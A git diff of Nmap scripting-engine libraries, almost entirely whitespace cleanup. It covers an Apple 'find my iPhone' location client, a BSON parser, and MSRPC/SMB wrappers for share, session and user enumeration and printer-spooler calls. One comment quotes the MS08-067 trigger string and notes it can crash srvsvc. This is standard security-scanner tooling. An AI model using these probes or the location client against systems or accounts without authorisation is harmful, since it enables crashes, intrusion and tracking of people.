stdnse.module("mobileme", stdnse.seeall) --- -- A MobileMe web service client that allows discovering Apple devices --- using the "find my iPhone" functionality. --- +-- using the "find my iPhone" functionality. +-- -- @author "Patrik Karlsson " -- MobileMe = { - + -- headers used in all requests - headers = { + headers = { ["Content-Type"] = "application/json; charset=utf-8", ["X-Apple-Find-Api-Ver"] = "2.0", ["X-Apple-Authscheme"] = "UserIdGuest", @@ -26,7 +26,7 @@ MobileMe = { ["Accept-Language"] = "en-us", ["Connection"] = "keep-alive" }, - + -- Creates a MobileMe instance -- @param username string containing the Apple ID username -- @param password string containing the Apple ID password @@ -42,7 +42,7 @@ MobileMe = { self.__index = self return o end, - + -- Sends a message to an iOS device -- @param devid string containing the device id to which the message should -- be sent @@ -59,14 +59,14 @@ MobileMe = { local auth = { username = self.username, password = self.password } local response = http.post(self.host, self.port, url, { header = self.headers, auth = auth, timeout = 10000 }, nil, data) - + if ( response.status == 200 ) then local status, resp = json.parse(response.body) if ( not(status) ) then stdnse.print_debug(2, "Failed to parse JSON response from server") return false, "Failed to parse JSON response from server" end - + if ( resp.statusCode ~= "200" ) then stdnse.print_debug(2, "Failed to send message to server") return false, "Failed to send message to server" @@ -74,7 +74,7 @@ MobileMe = { end return true end, - + -- Updates location information for all devices controlled by the Apple ID -- @return status true on success, false on failure -- @return json parsed json table or string containing an error message on @@ -97,20 +97,20 @@ MobileMe = { if ( response.header["x-apple-mme-host"] ) then self.host = response.header["x-apple-mme-host"] end - + if ( response.status == 401 ) then return false, "Authentication failed" elseif ( response.status ~= 200 and response.status ~= 330 ) then return false, "An unexpected error occured" end - + retries = retries - 1 until ( 200 == response.status or 0 == retries) if ( response.status ~= 200 ) then return false, "Received unexpected response from server" end - + local status, parsed_json = json.parse(response.body) if ( not(status) or parsed_json.statusCode ~= "200" ) then @@ -122,7 +122,7 @@ MobileMe = { return true, parsed_json end, - + -- Get's a list of devices -- @return devices table containing a list of devices getDevices = function(self) @@ -136,7 +136,7 @@ MobileMe = { Helper = { - + -- Creates a Helper instance -- @param username string containing the Apple ID username -- @param password string containing the Apple ID password @@ -150,7 +150,7 @@ Helper = { o.mm:update() return o end, - + -- Get's the geolocation from each device -- -- @return status true on success, false on failure @@ -162,7 +162,7 @@ Helper = { -- * accuracy - the location accuracy -- * timestamp - the time the location was acquired -- * postype - the position type (GPS or WiFi) - -- * finished - + -- * finished - -- or string containing an error message on failure getLocation = function(self) -- do 3 tries, with a 5 second timeout to allow the location to update @@ -171,10 +171,10 @@ Helper = { -- success with that. local tries, timeout = 3, 5 local result = {} - + repeat local status, response = self.mm:update() - + if ( not(status) or not(response) ) then return false, "Failed to retrieve response from server" end @@ -197,7 +197,7 @@ Helper = { until( tries == 0 ) return true, result end, - + -- Gets a list of names and ids of devices associated with the Apple ID -- @return status true on success, false on failure -- @return table of devices containing the following fields: @@ -209,7 +209,7 @@ Helper = { end return true, devices end, - + -- Send a message to an iOS Device -- -- @param devid string containing the device id to which the message should @@ -222,7 +222,7 @@ Helper = { sendMessage = function(self, ...) return self.mm:sendMessage(...) end - + } return _ENV; diff --git a/nselib/mongodb.lua b/nselib/mongodb.lua index 8892f3de4..0a9ddee7a 100644 --- a/nselib/mongodb.lua +++ b/nselib/mongodb.lua @@ -35,14 +35,14 @@ end local err =stdnse.print_debug ---------------------------------------------------------------------- --- First of all comes a Bson parsing library. This can easily be moved out into a separate library should other +-- First of all comes a Bson parsing library. This can easily be moved out into a separate library should other -- services start to use Bson ---------------------------------------------------------------------- --- Library methods for handling the BSON format +-- Library methods for handling the BSON format -- --- For more documentation about the BSON format, ----and more details about it's implementations, check out the --- python BSON implementation which is available at +-- For more documentation about the BSON format, +---and more details about it's implementations, check out the +-- python BSON implementation which is available at -- http://github.com/mongodb/mongo-python-driver/blob/master/pymongo/bson.py -- and licensed under the Apache License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0) -- @@ -72,18 +72,18 @@ end --@return status : true if ok, false if error --@return result : the packed binary data OR error message local function _element_to_bson(key, value) - + --Some constraints-checking - if type(key) ~= 'string' then - return false, "Documents must have only string keys, key was " .. type(key) + if type(key) ~= 'string' then + return false, "Documents must have only string keys, key was " .. type(key) end - if key:sub(1,1) == "$" then - return false, "key must not start with $: ".. key + if key:sub(1,1) == "$" then + return false, "key must not start with $: ".. key end if key:find("%.") then return false, ("key %r must not contain '.'"):format(tostring(key)) end - + local name =bin.pack("z",key) -- null-terminated string if type(value) == 'string' then local cstring = bin.pack("z",value) -- null-terminated string @@ -99,17 +99,17 @@ local function _element_to_bson(key, value) -- Use 01 - double for - works better than 10 return true, bin.pack('H','01') .. name .. bin.pack(" 4 * 1024 * 1024 then return false, "document too large - BSON documents are limited to 4 MB" end @@ -143,24 +143,24 @@ function toBson(dict) return true, bin.pack("I", length) .. elements .. bin.pack('H',"00") end --- Reads a null-terminated string. If length is supplied, it is just cut --- out from the data, otherwise the data is scanned for at null-char. +-- Reads a null-terminated string. If length is supplied, it is just cut +-- out from the data, otherwise the data is scanned for at null-char. --@param data the data which starts with a c-string --@param length optional length of the string ---@return the string +--@return the string --@return the remaining data (*without* null-char) local function get_c_string(data,length) if not length then local index = data:find(string.char(0)) - if index == nil then - error({code="C-string did not contain NULL char"}) + if index == nil then + error({code="C-string did not contain NULL char"}) end length = index end local value = data:sub(1,length-1) - + --dbg("Found char at pos %d, data is %s c-string is %s",length, data, value) - + return value, data:sub(length+1) end @@ -170,25 +170,25 @@ end -- @return Unpacked value -- @return error string if error occurred local function parse(code,data) - if 1 == code then -- double + if 1 == code then -- double return bin.unpack(" local value = get_c_string(data:sub(5), len) -- Count position as header (=4) + length of string (=len)+ null char (=1) return 4+len+1,value - elseif 3 == code or 4 == code then -- table or array + elseif 3 == code or 4 == code then -- table or array local object, err - + -- Need to know the length, to return later local _,obj_size = bin.unpack(" 64 and ch < 123 then -- out = out .. string.char(ch) - --else + --else out = out .. ch --end end diff --git a/nselib/msrpc.lua b/nselib/msrpc.lua index 426f5a32c..e021f0e35 100644 --- a/nselib/msrpc.lua +++ b/nselib/msrpc.lua @@ -1,48 +1,48 @@ --- --- By making heavy use of the smb library, this library will call various MSRPC --- functions. The functions used here can be accessed over TCP ports 445 and 139, --- with an established session. A NULL session (the default) will work for some --- functions and operating systems (or configurations), but not for others. +-- By making heavy use of the smb library, this library will call various MSRPC +-- functions. The functions used here can be accessed over TCP ports 445 and 139, +-- with an established session. A NULL session (the default) will work for some +-- functions and operating systems (or configurations), but not for others. -- -- To make use of these function calls, a SMB session with the server has to be -- established. This can be done manually with the smb library, or the function --- start_smb can be called. A session has to be created, then the IPC$ --- tree opened. +-- start_smb can be called. A session has to be created, then the IPC$ +-- tree opened. -- --- Next, the interface has to be bound. The bind() function will take care of that. +-- Next, the interface has to be bound. The bind() function will take care of that. -- -- After that, you're free to call any function that's part of that interface. In -- other words, if you bind to the SAMR interface, you can only call the samr_ --- functions, for lsa_ functions, bind to the LSA interface, etc. Although functions +-- functions, for lsa_ functions, bind to the LSA interface, etc. Although functions -- can technically be called in any order, many functions depend on the --- value returned by other functions. I indicate those in the function comments, --- so keep an eye out. SAMR functions, for example, require a call to --- connect4. +-- value returned by other functions. I indicate those in the function comments, +-- so keep an eye out. SAMR functions, for example, require a call to +-- connect4. -- -- Something to note is that these functions, for the most part, return a whole ton --- of stuff in a table; basically, everything that is returned by the function. +-- of stuff in a table; basically, everything that is returned by the function. -- Generally, if you want to know exactly what you have access to, either display the -- returned data with a print_table-type function, or check the documentation (Samba 4.0's --- .idl files (in samba_4.0/source/librpc/idl; see below for link) are what I based --- the names on). +-- .idl files (in samba_4.0/source/librpc/idl; see below for link) are what I based +-- the names on). -- -- The parameters for each function are converted to a string of bytes in a process -- called "marshalling". Functions here take arguments that match what a user would --- logically want to send. These are marshalled by using functions in the --- msrpctypes module. Those functions require a table of values that +-- logically want to send. These are marshalled by using functions in the +-- msrpctypes module. Those functions require a table of values that -- isn't very use friendly; as such, it's generated, when possible, in the functions -- in this module. The value returned, on the other hand, is returned directly to the --- user; I don't want to limit what data they can use, and it's difficult to rely on +-- user; I don't want to limit what data they can use, and it's difficult to rely on -- servers to format it consistently (sometimes a null is returned, and --- other times an empty array or blank string), so I put the onus on the scripts to --- deal with the returned values. +-- other times an empty array or blank string), so I put the onus on the scripts to +-- deal with the returned values. -- -- When implementing this, I used Wireshark's output significantly, as well as Samba's -- .idl files for reference: -- http://websvn.samba.org/cgi-bin/viewcvs.cgi/branches/SAMBA_4_0/source/librpc/idl/. --- I'm not a lawyer, but I don't expect that this is a breach of Samba's copyright -- --- if it is, please talk to me and I'll make arrangements to re-license this or to --- remove references to Samba. +-- I'm not a lawyer, but I don't expect that this is a breach of Samba's copyright -- +-- if it is, please talk to me and I'll make arrangements to re-license this or to +-- remove references to Samba. -- -- Revised 07/25/2012 - added Printer Spooler Service (spoolss) RPC functions and -- constants [Aleksandar Nikolic] @@ -104,7 +104,7 @@ EPMAPPER_UUID = string.char(0x08, 0x83, 0xaf, 0xe1, 0x1f, 0x5d, 0xc9, 0x11, EPMAPPER_VERSION = 3 --- This is the only transfer syntax I've seen in the wild, not that I've looked hard. It seems to work well. +-- This is the only transfer syntax I've seen in the wild, not that I've looked hard. It seems to work well. TRANSFER_SYNTAX = string.char(0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60) -- The 'referent_id' value is ignored, as far as I can tell, so this value is passed for it. No, it isn't random. :) @@ -113,21 +113,21 @@ REFERENT_ID = 0x50414d4e -- The maximum length of a packet fragment MAX_FRAGMENT = 0x800 ----The number of SAMR records to pull at once. This was originally 1, but since I've written +---The number of SAMR records to pull at once. This was originally 1, but since I've written -- proper fragmentation code, I've successfully done it with 110 users, although I'd be surprised --- if you couldn't go a lot higher. I had some issues that I suspect was UNIX truncating packets, --- so I scaled it back. +-- if you couldn't go a lot higher. I had some issues that I suspect was UNIX truncating packets, +-- so I scaled it back. local SAMR_GROUPSIZE = 20 ---The number of LSA RIDs to check at once. I've successfully tested with up to about 110. Note that --- due to very long message sizes, Wireshark might truncate packets if you have more than 30 together, +-- due to very long message sizes, Wireshark might truncate packets if you have more than 30 together, -- so for debugging, setting this to 30 might be a plan. Like SAMR, I scaled this back due to UNIX --- truncation. +-- truncation. local LSA_GROUPSIZE = 20 ----The number of consecutive empty groups to stop after. Basically, this means that after +---The number of consecutive empty groups to stop after. Basically, this means that after -- LSA_MINEMPTY groups of LSA_GROUPSIZE users come back empty, we give --- up. Raising this could find more users, but at the expense of more packets. +-- up. Raising this could find more users, but at the expense of more packets. local LSA_MINEMPTY = 10 ---Mapping between well known MSRPC UUIDs and coresponding exe/service @@ -181,18 +181,18 @@ local UUID2EXE = { --- This is a wrapper around the SMB class, designed to get SMB going quickly for MSRPC calls. This will -- connect to the SMB server, negotiate the protocol, open a session, connect to the IPC$ share, and --- open the named pipe given by 'path'. When this successfully returns, the 'smbstate' table can be immediately --- used for MSRPC (the bind function should be called right after). +-- open the named pipe given by 'path'. When this successfully returns, the 'smbstate' table can be immediately +-- used for MSRPC (the bind function should be called right after). -- -- Note that the smbstate table is the same one used in the SMB files (obviously), so it will contain --- the various results/information places in there by SMB functions. +-- the various results/information places in there by SMB functions. -- ---@param host The host object. ---@param path The path to the named pipe; for example, msrpc.SAMR_PATH or msrpc.SRVSVC_PATH. ---@param disable_extended [optional] If set to 'true', disables extended security negotiations. ---@param overrides [optional] Overrides variables in all the SMB functions. +--@param host The host object. +--@param path The path to the named pipe; for example, msrpc.SAMR_PATH or msrpc.SRVSVC_PATH. +--@param disable_extended [optional] If set to 'true', disables extended security negotiations. +--@param overrides [optional] Overrides variables in all the SMB functions. --@return (status, smbstate) if status is false, smbstate is an error message. Otherwise, smbstate is --- required for all further calls. +-- required for all further calls. function start_smb(host, path, disable_extended, overrides) overrides = overrides or {} return smb.start_ex(host, true, true, "IPC$", path, disable_extended, overrides) @@ -201,25 +201,25 @@ end --- A wrapper around the smb.stop function. I only created it to add symmetry, so client code -- doesn't have to call both msrpc and smb functions. -- ---@param state The SMB state table. +--@param state The SMB state table. function stop_smb(state) smb.stop(state) end --- Bind to a MSRPC interface. Two common interfaces are SAML and SRVSVC, and can be found as -- constants at the top of this file. Once this function has successfully returned, any MSRPC --- call can be made (provided it doesn't depend on results from other MSRPC calls). +-- call can be made (provided it doesn't depend on results from other MSRPC calls). -- --@param smbstate The SMB state table ---@param interface_uuid The interface to bind to. There are constants defined for these (SAMR_UUID, +--@param interface_uuid The interface to bind to. There are constants defined for these (SAMR_UUID, -- etc.) ---@param interface_version The interface version to use. There are constants at the top (SAMR_VERSION, +--@param interface_version The interface version to use. There are constants at the top (SAMR_VERSION, -- etc.) --@param transfer_syntax The transfer syntax to use. I don't really know what this is, but the value -- was always the same on my tests. You can use the constant at the top (TRANSFER_SYNTAX), or --- just set this parameter to 'nil'. ---@return (status, result) If status is false, result is an error message. Otherwise, result is a --- table of values, none of which are especially useful. +-- just set this parameter to 'nil'. +--@return (status, result) If status is false, result is an error message. Otherwise, result is a +-- table of values, none of which are especially useful. function bind(smbstate, interface_uuid, interface_version, transfer_syntax) local i local status, result @@ -229,7 +229,7 @@ function bind(smbstate, interface_uuid, interface_version, transfer_syntax) stdnse.print_debug(2, "MSRPC: Sending Bind() request") - -- Use the only transfer_syntax value I know of. + -- Use the only transfer_syntax value I know of. if(transfer_syntax == nil) then transfer_syntax = TRANSFER_SYNTAX end @@ -275,7 +275,7 @@ function bind(smbstate, interface_uuid, interface_version, transfer_syntax) stdnse.print_debug(3, "MSRPC: Received Bind() result") - -- Make these easier to access. + -- Make these easier to access. parameters = result['parameters'] data = result['data'] @@ -310,7 +310,7 @@ function bind(smbstate, interface_uuid, interface_version, transfer_syntax) return false, "MSRPC call returned an incorrect 'call_id' value" end - -- If we made it this far, then we have a valid Bind() result. Pull out some more parameters. + -- If we made it this far, then we have a valid Bind() result. Pull out some more parameters. pos, result['max_transmit_frag'], result['max_receive_frag'], result['assoc_group'], result['secondary_address_length'] = bin.unpack("SMB_COM_TRANSACTION packet, and parses the result. Once the SMB stuff has been stripped off the result, it's +-- out a SMB_COM_TRANSACTION packet, and parses the result. Once the SMB stuff has been stripped off the result, it's -- passed down here, cleaned up some more, and returned to the caller. -- -- There's a reason that SMB is sometimes considered to be between layer 4 and 7 on the OSI model. :) -- ---@param smbstate The SMB state table (after bind has been called). ---@param opnum The operating number (ie, the function). Find this in the MSRPC documentation or with a packet logger. ---@param arguments The marshalled arguments to pass to the function. Currently, marshalling is all done manually. +--@param smbstate The SMB state table (after bind has been called). +--@param opnum The operating number (ie, the function). Find this in the MSRPC documentation or with a packet logger. +--@param arguments The marshalled arguments to pass to the function. Currently, marshalling is all done manually. --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most -- useful one being 'arguments', which are the values returned by the server. If the packet is fragmented, the fragments -- will be reassembled and 'arguments' will represent all the arguments; however, the rest of the result table will represent --- the most recent fragment. +-- the most recent fragment. function call_function(smbstate, opnum, arguments) local i local status, result @@ -401,11 +401,11 @@ function call_function(smbstate, opnum, arguments) if(status ~= true) then return false, result end - - -- Make these easier to access. + + -- Make these easier to access. parameters = result['parameters'] data = result['data'] - + -- Extract the first part from the resposne pos, result['version_major'], result['version_minor'], result['packet_type'], result['packet_flags'], result['data_representation'], result['frag_length'], result['auth_length'], result['call_id'] = bin.unpack("Ibind has been called). +-- @param smbstate The SMB state table (after bind has been called). -- @param domain (optional) string containing the domain name to query -- @param server_type number containing a server bit mask to use to filter responses --- @param detail_level number containing either 0 or 1 +-- @param detail_level number containing either 0 or 1 function rap_netserverenum2(smbstate, domain, server_type, detail_level) local NETSERVERENUM2 = 0x0068 @@ -499,7 +499,7 @@ function rap_netserverenum2(smbstate, domain, server_type, detail_level) assert( detail_level > 0 and detail_level < 2, "detail_level must be either 0 or 1") local datadesc = ( detail_level == 0 and "B16" or "B16BBDz") local data = bin.pack(" 0 ) then local comment_offset, _ server.version = {} - pos, server.version.major, server.version.minor, + pos, server.version.major, server.version.minor, server.type, comment_offset, _ = bin.unpack("msrpctypes function that converts a ShareType to an english string. +---A proxy to a msrpctypes function that converts a ShareType to an english string. -- I implemented this as a proxy so scripts don't have to make direct calls to msrpctypes -- functions. -- --@param val The value to convert. ---@return A string that can be displayed to the user. +--@return A string that can be displayed to the user. function srvsvc_ShareType_tostr(val) return msrpctypes.srvsvc_ShareType_tostr(val) end ---Call the MSRPC function netshareenumall on the remote system. This function basically returns a list of all the shares --- on the system. +-- on the system. -- --@param smbstate The SMB state table --@param server The IP or Hostname of the server (seems to be ignored but it's a good idea to have it) --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most --- useful one being 'shares', which is a list of the system's shares. +-- useful one being 'shares', which is a list of the system's shares. function srvsvc_netshareenumall(smbstate, server) local i, j local status, result @@ -635,12 +635,12 @@ function srvsvc_netshareenumall(smbstate, server) end ---Call the MSRPC function netsharegetinfo on the remote system. This function retrieves extra information about a share --- on the system. +-- on the system. -- --@param smbstate The SMB state table --@param server The IP or Hostname of the server (seems to be ignored but it's a good idea to have it) --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most --- useful one being 'shares', which is a list of the system's shares. +-- useful one being 'shares', which is a list of the system's shares. function srvsvc_netsharegetinfo(smbstate, server, share, level) local i, j local status, result @@ -693,8 +693,8 @@ function srvsvc_netsharegetinfo(smbstate, server, share, level) end ----Call the NetSessEnum function, which gets a list of active sessions on the host. For this function, --- a session is defined as a connection to a file share. +---Call the NetSessEnum function, which gets a list of active sessions on the host. For this function, +-- a session is defined as a connection to a file share. -- --@param smbstate The SMB state table --@param server The IP or Hostname of the server (seems to be ignored but it's a good idea to have it) @@ -710,7 +710,7 @@ function srvsvc_netsessenum(smbstate, server) -- [in] [string,charset(UTF16)] uint16 *server_unc, arguments = msrpctypes.marshall_unicode_ptr(server, true) - + -- [in] [string,charset(UTF16)] uint16 *client, arguments = arguments .. msrpctypes.marshall_unicode_ptr(nil) @@ -777,20 +777,20 @@ function srvsvc_netsessenum(smbstate, server) return true, result end ---- Calls the NetServerGetStatistics function, which grabs a bunch of statistics on the server. +--- Calls the NetServerGetStatistics function, which grabs a bunch of statistics on the server. -- This function requires administrator access to call. -- --- Note: Wireshark 1.0.3 doesn't parse this packet properly. +-- Note: Wireshark 1.0.3 doesn't parse this packet properly. -- --@param smbstate The SMB state table --@param server The IP or name of the server (I don't think this is actually used, but it's --- good practice to send it). +-- good practice to send it). -- --@return A table containing the following values: --- * 'start' The time when statistics collection started (or when the statistics were last cleared). The value is --- stored as the number of seconds that have elapsed since 00:00:00, January 1, 1970, GMT. To calculate --- the length of time that statistics have been collected, subtract the value of this member from the --- present time. 'start_date' is the date as a string. +-- * 'start' The time when statistics collection started (or when the statistics were last cleared). The value is +-- stored as the number of seconds that have elapsed since 00:00:00, January 1, 1970, GMT. To calculate +-- the length of time that statistics have been collected, subtract the value of this member from the +-- present time. 'start_date' is the date as a string. -- * 'fopens' The number of times a file is opened on a server. This includes the number of times named pipes are opened. -- * 'devopens' The number of times a server device is opened. -- * 'jobsqueued' The number of server print jobs spooled. @@ -860,15 +860,15 @@ function srvsvc_netservergetstatistics(smbstate, server) return true, result end ----Call the NetPathCompare() function, which indirectly calls NetPathCanonicalize(), --- the target of ms08-067. I'm currently only using this to trigger ms08-067. +---Call the NetPathCompare() function, which indirectly calls NetPathCanonicalize(), +-- the target of ms08-067. I'm currently only using this to trigger ms08-067. -- -- The string used by Metasploit and other free tools to check for this vulnerability is -- '\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\n'. On vulnerable systems, this will be -- accepted and this function will return '0'. On patched systems, this will be rejected --- and return ERROR_INVALID_PARAMETER. +-- and return ERROR_INVALID_PARAMETER. -- --- Note that the srvsvc.exe process occasionally crashes when attempting this. +-- Note that the srvsvc.exe process occasionally crashes when attempting this. -- --@param smbstate The SMB state table --@param server The IP or Hostname of the server (seems to be ignored but it's a good idea to have it) @@ -877,7 +877,7 @@ end --@param pathtype The pathtype to pass to the function (I always use '1') --@param pathflags The pathflags to pass to the function (I always use '0') --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values containing --- 'return'. +-- 'return'. function srvsvc_netpathcompare(smbstate, server, path1, path2, pathtype, pathflags) local i, j local status, result @@ -934,13 +934,13 @@ function srvsvc_netpathcompare(smbstate, server, path1, path2, pathtype, pathfla end ----Call the NetPathCanonicalize() function, which is the target of ms08-067. +---Call the NetPathCanonicalize() function, which is the target of ms08-067. -- --@param smbstate The SMB state table --@param server The IP or Hostname of the server (seems to be ignored but it's a good idea to have it) --@param path The path to canonicalize --@return (status, result, error_result) If status is false, result is an error message and error_result is --- the result table. Otherwise, result is a table of values. +-- the result table. Otherwise, result is a table of values. function srvsvc_netpathcanonicalize(smbstate, server, path) local i, j local status, result @@ -986,12 +986,12 @@ function srvsvc_netpathcanonicalize(smbstate, server, path) -- [in,out] uint32 pathtype, -- [in] uint32 pathflags - -- NOTE: This isn't being done correctly.. due to Wireshark's broken parsing, + -- NOTE: This isn't being done correctly.. due to Wireshark's broken parsing, -- and Samba's possibly-broken definition, I'm not sure how this is supposed - -- to be parsed. + -- to be parsed. pos, result['max_count'] = msrpctypes.unmarshall_int32(arguments, pos) pos, result['can_path'] = msrpctypes.unmarshall_int32(arguments, pos) - pos, result['type'] = msrpctypes.unmarshall_int32(arguments, pos) + pos, result['type'] = msrpctypes.unmarshall_int32(arguments, pos) pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos) if(result['return'] == nil) then @@ -1006,16 +1006,16 @@ function srvsvc_netpathcanonicalize(smbstate, server, path) end ----Call the RpcOpenPrinterEx() function whose opnum is 69. +---Call the RpcOpenPrinterEx() function whose opnum is 69. -- -- http://msdn.microsoft.com/en-us/library/cc244809%28v=prot.13%29.aspx --@param smbstate The SMB state table --@param printer Printer share name ---@return (status, result) If status is false, result is an error message. Otherwise, result is a printer handle. +--@return (status, result) If status is false, result is an error message. Otherwise, result is a printer handle. function spoolss_open_printer(smbstate,printer) local machine = msrpctypes.marshall_unicode_ptr("",true) local user = msrpctypes.marshall_unicode_ptr("",true) - + local arguments = msrpctypes.marshall_unicode_ptr(printer,true) arguments = arguments .. msrpctypes.marshall_int32(0) --devmod containter @@ -1036,34 +1036,34 @@ function spoolss_open_printer(smbstate,printer) arguments2 = arguments2 .. msrpctypes.marshall_int32(9) arguments2 = arguments2 .. string.sub(machine,5,#machine) arguments2 = arguments2 .. string.sub(user,5,#user) - arguments2 = msrpctypes.marshall_int32(#arguments2+4) .. arguments2 + arguments2 = msrpctypes.marshall_int32(#arguments2+4) .. arguments2 arguments = arguments .. arguments2 - + local status, result = call_function(smbstate, 69, arguments) if not status then stdnse.print_debug("MSRPC spoolss_open_printer(): %s ",result) end return status,result - + end ----Call the RpcStartDocPrinter() function whose opnum is 17. +---Call the RpcStartDocPrinter() function whose opnum is 17. -- -- http://msdn.microsoft.com/en-us/library/cc244828%28v=prot.10%29.aspx --@param smbstate The SMB state table --@param printer_handle Printer handle returned by spoolss_open_printer() --@param filename Name of the file to print to ---@return (status, result) If status is false, result is an error message. Otherwise, result is a print job id. +--@return (status, result) If status is false, result is an error message. Otherwise, result is a print job id. function spoolss_start_doc_printer(smbstate,printer_handle,filename) local arguments = printer_handle - local document_name = msrpctypes.marshall_unicode_ptr("nmap_test",true) + local document_name = msrpctypes.marshall_unicode_ptr("nmap_test",true) local fname = msrpctypes.marshall_unicode_ptr(filename,true) local dtype = msrpctypes.marshall_int32(0) local document_container = msrpctypes.marshall_int32(1) - + arguments = arguments .. msrpctypes.marshall_int32(1) - + document_container = document_container .. msrpctypes.marshall_int32(12332131) document_container = document_container .. string.sub(document_name,1,4) document_container = document_container .. string.sub(fname,1,4) @@ -1071,23 +1071,23 @@ function spoolss_start_doc_printer(smbstate,printer_handle,filename) document_container = document_container .. string.sub(document_name,5,#document_name) document_container = document_container .. string.sub(fname,5,#fname) document_container = document_container .. string.sub(dtype,5,#dtype) - + arguments = arguments .. document_container - + local status, result = call_function(smbstate, 17, arguments) - if not status then + if not status then stdnse.print_debug("MSRPC spoolss_start_doc_printer(): %s",result) end return status,result end ----Call the RpcWritePrinter() function whose opnum is 19. +---Call the RpcWritePrinter() function whose opnum is 19. -- -- http://msdn.microsoft.com/en-us/library/cc244831%28v=prot.10%29 --@param smbstate The SMB state table --@param printer_handle Printer handle returned by spoolss_open_printer() --@param data Actuall data to write to a file ---@return (status, result) If status is false, result is an error message. Otherwise, result is number of bytes written. +--@return (status, result) If status is false, result is an error message. Otherwise, result is number of bytes written. function spoolss_write_printer(smbstate,printer_handle,data) stdnse.print_debug("len %d", #data) local padding_len = 4 - math.fmod(#data,4) @@ -1096,18 +1096,18 @@ function spoolss_write_printer(smbstate,printer_handle,data) data_padding = string.rep(bin.pack("H","00"),padding_len) end local arguments = printer_handle .. msrpctypes.marshall_int32(#data) - --arguments = arguments .. msrpctypes.marshall_int32(#data) + --arguments = arguments .. msrpctypes.marshall_int32(#data) arguments = arguments .. data if data_padding then arguments = arguments .. data_padding end arguments = arguments .. msrpctypes.marshall_int32(#data) local status,result = call_function(smbstate, 19, arguments) - if not status then + if not status then stdnse.print_debug("MSRPC spoolss_write_printer(): %s",result) end - return status,result + return status,result end ----Call the EndDocPrinter() function whose opnum is 23. +---Call the EndDocPrinter() function whose opnum is 23. -- -- http://msdn.microsoft.com/en-us/library/cc244783%28v=prot.10%29 --@param smbstate The SMB state table @@ -1121,7 +1121,7 @@ function spoolss_end_doc_printer(smbstate,printer_handle) return status,result end ----Call the RpcAbortPrinter() function whose opnum is 21. +---Call the RpcAbortPrinter() function whose opnum is 21. -- -- http://msdn.microsoft.com/en-us/library/cc244757%28v=prot.13%29 --@param smbstate The SMB state table @@ -1148,13 +1148,13 @@ end --- Helper function that maps known UUIDs to coresponding exe/services. -- --@param uuid ---@return Coresponding service and description as a string or nil. +--@return Coresponding service and description as a string or nil. function string_uuid_to_exe(uuid) return UUID2EXE[uuid] end --- Lookup endpoint mapper for endpoints --- +-- -- Queries the remote endpoint mapper and parses data into a table with following values: -- *'new_handle' -- *'annotation' @@ -1183,8 +1183,8 @@ function epmapper_lookup(smbstate,handle) -- [in, out] ept_lookup_handle_t *entry_handle, -- [in] unsigned32 max_ents, -- [out] unsigned32 *num_ents, - -- [out, length_is(*num_ents), size_is(max_ents)] - -- ept_entry_t entries[], + -- [out, length_is(*num_ents), size_is(max_ents)] + -- ept_entry_t entries[], -- [out] error_status_t *status -- ); local params = msrpctypes.marshall_int32(0) .. msrpctypes.marshall_int32(0) .. msrpctypes.marshall_int32(0) .. msrpctypes.marshall_int32(0) @@ -1196,7 +1196,7 @@ function epmapper_lookup(smbstate,handle) end local data = result.data - -- parse data + -- parse data -- skip 24 bytes of common DCE header local pos local lookup_response = { @@ -1213,7 +1213,7 @@ function epmapper_lookup(smbstate,handle) ncacn_http = nil } --stdnse.set_tostring(lookup_response,stdnse.format_generator({key_order = {"new_handle,annotation,uuid,exe,tcp_port,udp_port,ip_addr,ncalrpc,ncacn_np,netbios,ncacn_http"}})) - + lookup_response.new_handle = string.sub(data,25,44) -- stdnse.print_debug("new_handle: %s", stdnse.tohex(new_handle)) @@ -1225,7 +1225,7 @@ function epmapper_lookup(smbstate,handle) end --skip max count, offset, actual count pos = pos + 12 - --skip object , + --skip object , pos = pos + 16 pos = pos + 8 local annotation_length @@ -1241,10 +1241,10 @@ function epmapper_lookup(smbstate,handle) local num_floors,floor_len,uuid, address_type,address_len,tcp_port,udp_port,ip_addr,saved_pos,ncalrpc,ncacn_np,netbios,ncacn_http pos, num_floors = bin.unpack("S",data,pos) else - stdnse.print_debug("unknown address type %x",address_type) + stdnse.print_debug("unknown address type %x",address_type) end end end @@ -1281,33 +1281,33 @@ function epmapper_lookup(smbstate,handle) return status,lookup_response end ----A proxy to a msrpctypes function that converts a PasswordProperties to an english string. +---A proxy to a msrpctypes function that converts a PasswordProperties to an english string. -- I implemented this as a proxy so scripts don't have to make direct calls to msrpctypes -- functions. -- --@param val The value to convert. ---@return A string that can be displayed to the user. +--@return A string that can be displayed to the user. function samr_PasswordProperties_tostr(val) return msrpctypes.samr_PasswordProperties_tostr(val) end ----A proxy to a msrpctypes function that converts a AcctFlags to an english string. +---A proxy to a msrpctypes function that converts a AcctFlags to an english string. -- I implemented this as a proxy so scripts don't have to make direct calls to msrpctypes -- functions. -- --@param val The value to convert. ---@return A string that can be displayed to the user. +--@return A string that can be displayed to the user. function samr_AcctFlags_tostr(val) return msrpctypes.samr_AcctFlags_tostr(val) end ----Call the connect4 function, to obtain a "connect handle". This must be done before calling many --- of the SAMR functions. +---Call the connect4 function, to obtain a "connect handle". This must be done before calling many +-- of the SAMR functions. -- --@param smbstate The SMB state table --@param server The IP or Hostname of the server (seems to be ignored but it's a good idea to have it) --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most --- useful one being 'connect_handle', which is required to call other functions. +-- useful one being 'connect_handle', which is required to call other functions. function samr_connect4(smbstate, server) local i, j local status, result @@ -1318,7 +1318,7 @@ function samr_connect4(smbstate, server) -- [in,string,charset(UTF16)] uint16 *system_name, arguments = msrpctypes.marshall_unicode_ptr("\\\\" .. server, true) - + -- [in] uint32 unknown, arguments = arguments .. msrpctypes.marshall_int32(0x02) @@ -1355,12 +1355,12 @@ function samr_connect4(smbstate, server) return true, result end ----Call the enumdomains function, which returns a list of all domains in use by the system. +---Call the enumdomains function, which returns a list of all domains in use by the system. -- --@param smbstate The SMB state table --@param connect_handle The connect_handle, returned by samr_connect4() --@return (status, result) If status is false, result is an error message. 